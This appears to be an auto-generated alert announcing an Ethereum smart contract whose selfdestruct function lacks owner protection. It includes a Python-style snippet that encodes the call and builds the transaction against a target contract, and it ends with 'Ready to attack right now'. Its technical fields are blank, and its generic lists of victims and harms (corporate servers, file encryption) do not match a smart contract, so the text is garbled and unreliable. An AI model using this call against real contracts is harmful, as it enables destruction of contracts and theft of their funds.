易受攻击的智能合约

🔍 Technical Details:

• Vulnerability Type:
• Severity Level:
• CVSS Score:
• Affected Versions:
• Status:

🎯 Victims:

• Corporate servers
• Government systems
• Financial institutions

💰 Losses:

• Theft of confidential data
• Financial losses
• Reputational damage

⚠️ Problems:

• Full control over the system
• Access to databases
• Ability to encrypt files

🛡️ Protection:

• Update to latest version
• Configure firewall
• Monitor activity

💰 Contract Information:

• Balance:
• Block:
• Etherscan: View on Etherscan

🔍 Vulnerability Analysis:

• ❌ NO onlyOwner protection - function accessible to everyone
• ✅ SELFDESTRUCT opcode present in bytecode
• ✅ Can call selfdestruct directly

⚔️ Attack Scenario:

Direct call to selfdestruct(address) function

# Function selector for selfdestruct(address)
selector = keccak256("selfdestruct(address)")[:4]  # 0x9f3ce55a

# Encode recipient address
address_padded = '0' * 24 + RECIPIENT[2:].lower()
data = bytes.fromhex(selector.hex() + address_padded)

# Send transaction
tx = {
    'to': TARGET_CONTRACT,
    'data': data,
    'gas': 150000,
    'value': 0
}

⚠️ Status:

✅ Ready to attack right now